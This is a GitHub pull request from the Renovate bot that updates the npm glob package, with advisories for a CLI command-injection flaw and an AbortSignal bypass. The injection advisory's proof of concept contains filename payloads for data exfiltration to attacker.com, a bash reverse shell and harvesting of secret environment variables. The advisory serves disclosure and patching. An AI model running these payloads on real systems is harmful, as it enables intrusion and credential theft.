Skip to content

Update dependency glob [SECURITY] - #87

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-glob-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-glob-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 18, 2025 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
glob ^10.3.14 → ^15.0.0 age confidence
glob ^10.3.12 → ^13.0.0 age confidence

glob CLI: Command injection via -c/--cmd executes matches with shell:true

CVE-2025-64756 / GHSA-5j98-mcp5-4vw2

More information

Details

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content
PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Glob: AbortSignal cancellation bypass allows post-timeout filesystem traversal

CVE-2026-118773 / GHSA-3g3m-2fjr-6pw4

More information

Details

Summary

In glob 13.0.6, an aborted async walk rejects or emits an error but continues recursively reading directories in the background.

The root cause is that abort branches in src/walker.ts call cb() without returning. As a result, callers that rely on signal or AbortSignal.timeout() to bound glob traversal cost can still incur filesystem I/O and CPU work after the request has already been rejected.

Details

This was reproduced on glob v13.0.6 (commit e80cb38ae60d6cbff9e75f39032a994858994d35).

The README documents that the signal option cancels the glob walk. However, in src/walker.ts, the following methods call cb() when this.signal?.aborted is true but do not return:

  • GlobUtil.walkCB()
  • GlobUtil.walkCB2()
  • GlobUtil.walkCBSync()
  • GlobUtil.walkCB2Sync()

Example vulnerable pattern:

if (this.signal?.aborted) cb()

Because execution continues after cb(), the walker still reaches processor.processPatterns(), readdirCB(), and recursive walkCB2() calls.

The issue was directly demonstrated against v13.0.6. A source-history review shows the same missing-return pattern is present in tagged releases from v9.0.0 through v13.0.6.

The issue affects both glob() and globStream().

Recommended fix:
Change each abort branch to return immediately:

if (this.signal?.aborted) return cb()

Proof of concept

Environment:

  • Linux x86_64
  • Node.js v22.23.3
  • npm 10.9.9
  • glob 13.0.6

Reproduction steps:

  1. Install the affected package:
    npm init -y
    npm install glob@13.0.6

  2. Run the attached PoC:
    node poc/abort-continues-work.mjs

The PoC aborts after the first readdir() call, waits briefly, and counts how many more directory reads happen after the promise has already rejected.

Observed output on the vulnerable version:

{
"rejection": "Error: probe-abort",
"readdirCalls": 1365,
"readdirCallsAtReject": 5,
"readdirCallsAfterReject": 1360
}

Expected behavior:
readdirCallsAfterReject should be 0.

A second PoC using AbortSignal.timeout() also reproduces the issue:

{
"rejection": "TimeoutError: The operation was aborted due to timeout",
"readdirCalls": 133,
"readdirCallsAtReject": 1,
"readdirCallsAfterReject": 132
}

The same test against a patched build with return cb() in the four abort branches stops immediately:

{
"readdirCalls": 1,
"readdirCallsAtReject": 1,
"readdirCallsAfterReject": 0
}

Impact

This is an availability issue.

Applications that expose globbing over attacker-influenced patterns or attacker-controlled directory trees and use AbortSignal / AbortSignal.timeout() as a traversal budget can still perform significant filesystem I/O and CPU work after a request has already timed out or been canceled.

Repeated timed-out requests can stack background glob walks and degrade worker throughput or service availability.

No confidentiality or integrity impact was observed.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/node-glob (glob)

v15.0.0

Compare Source

  • use ubq for tests (70c5e8b)
  • update ubqtest to 0.0.30, merge coverage of all CI jobs (aa6d7e5)
  • ci: keep LF line endings on windows, so coverage merges (c42e863)
  • update ubqtest to 1.0.0 (5798941)
  • update path-scurry to v4 (9d2e40b)
  • replace streams with hand-rolled iterators (94eff71)
  • build relative paths from the directory prefix (3230bfe)
  • keep step matches and subwalks in arrays (76d6e6d)
  • store only the walked patterns that can be looked up (29b1c46)
  • skip the set of seen paths when it is not needed (3e79052)
  • test that a shared signal does not retain walks (2ea850d)
  • remove outdated agents file (99b3416)
  • benchmark the published bundle against globby 16 (a863662)
  • read directories with lazy entries from path-scurry 4.1 (58ac60d)
  • keep no walk state in Pattern objects (25b4329)
  • test ignore patterns on path strings (bcc1834)
  • ignore the cwd for an ignore pattern of only a dot (528b19a)
  • make no Processor for a step that only reads its directory (14f391e)
  • pkg: update description (a75019f)
  • add tinyglobby to the benchmarks (ce9fa3b)
  • update perf considerations for 2026 (70bb1ac)

v14.0.7

Compare Source

v14.0.6

Compare Source

  • ignore patterns lack the braceExpandMax limit applied to pattern

Fixes GHSA-qxr8-q827-836c: GHSA-qxr8-q827-836c

v14.0.5

Compare Source

v14.0.4

Compare Source

v14.0.3

Compare Source

v14.0.2

Compare Source

v14.0.1

Compare Source

v14.0.0

Compare Source

v13.0.7

Compare Source

v13.0.6

Compare Source

v13.0.5

Compare Source

v13.0.4

Compare Source

v13.0.3

Compare Source

v13.0.2

Compare Source

v13.0.1

Compare Source

v13.0.0

Compare Source

v12.0.0

Compare Source

v11.1.0

Compare Source

v11.0.3

Compare Source

v11.0.2

Compare Source

v11.0.1

Compare Source

v11.0.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@github-project-automation github-project-automation Bot moved this to Backlog in code-style Nov 18, 2025
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from d47c16a to 0805037 Compare November 18, 2025 10:41
@renovate renovate Bot changed the title Update dependency glob to v11 [SECURITY] Update dependency glob [SECURITY] Nov 18, 2025
@renovate renovate Bot changed the title Update dependency glob [SECURITY] Update dependency glob to v10.5.0 [SECURITY] Nov 19, 2025
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 0805037 to b53aa15 Compare November 19, 2025 00:14
@renovate renovate Bot changed the title Update dependency glob to v10.5.0 [SECURITY] Update dependency glob to v10.5.0 [SECURITY] - autoclosed Nov 19, 2025
@renovate renovate Bot closed this Nov 19, 2025
@renovate
renovate Bot deleted the renovate/npm-glob-vulnerability branch November 19, 2025 02:32
@github-project-automation github-project-automation Bot moved this from Backlog to Done in code-style Nov 19, 2025
@renovate renovate Bot changed the title Update dependency glob to v10.5.0 [SECURITY] - autoclosed Update dependency glob to v10.5.0 [SECURITY] Nov 19, 2025
@renovate renovate Bot reopened this Nov 19, 2025
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch 2 times, most recently from b53aa15 to d2f2e0c Compare November 19, 2025 04:50
@github-project-automation github-project-automation Bot moved this from Done to Ready in code-style Nov 19, 2025
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from d2f2e0c to 9932609 Compare February 12, 2026 17:08
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 9932609 to cb9c545 Compare March 5, 2026 14:02
@renovate renovate Bot changed the title Update dependency glob to v10.5.0 [SECURITY] Update dependency glob to v10.5.0 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@github-project-automation github-project-automation Bot moved this from Ready to Done in code-style Mar 27, 2026
@renovate renovate Bot changed the title Update dependency glob to v10.5.0 [SECURITY] - autoclosed Update dependency glob to v10.5.0 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch 2 times, most recently from cb9c545 to 7cc1976 Compare March 30, 2026 21:37
@github-project-automation github-project-automation Bot moved this from Done to Ready in code-style Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 7cc1976 to 9228aa8 Compare April 30, 2026 03:35
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 9228aa8 to ffeebba Compare May 28, 2026 20:57
@renovate
renovate Bot temporarily deployed to production May 28, 2026 20:59 Inactive
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from ffeebba to d867ff6 Compare July 12, 2026 12:35
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from d867ff6 to 50b89a1 Compare August 1, 2026 04:34
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 50b89a1 to 92319c5 Compare September 15, 2026 19:46
@renovate
renovate Bot deployed to production September 15, 2026 19:48 Active
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 92319c5 to 1dd5427 Compare November 16, 2026 15:34
@renovate
renovate Bot deployed to production November 16, 2026 15:38 Active
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from 1dd5427 to c711bef Compare November 30, 2026 17:03
@renovate renovate Bot changed the title Update dependency glob to v10.5.0 [SECURITY] Update dependency glob [SECURITY] Nov 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-glob-vulnerability branch from c711bef to 12c3a9b Compare December 2, 2026 11:50

This branch was successfully deployed

1 active (outdated) deployment
production — 1dd54272 Deployed Nov 16, 2026 by renovate[bot] via publish #577
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Ready

Development

Successfully merging this pull request may close these issues.

0 participants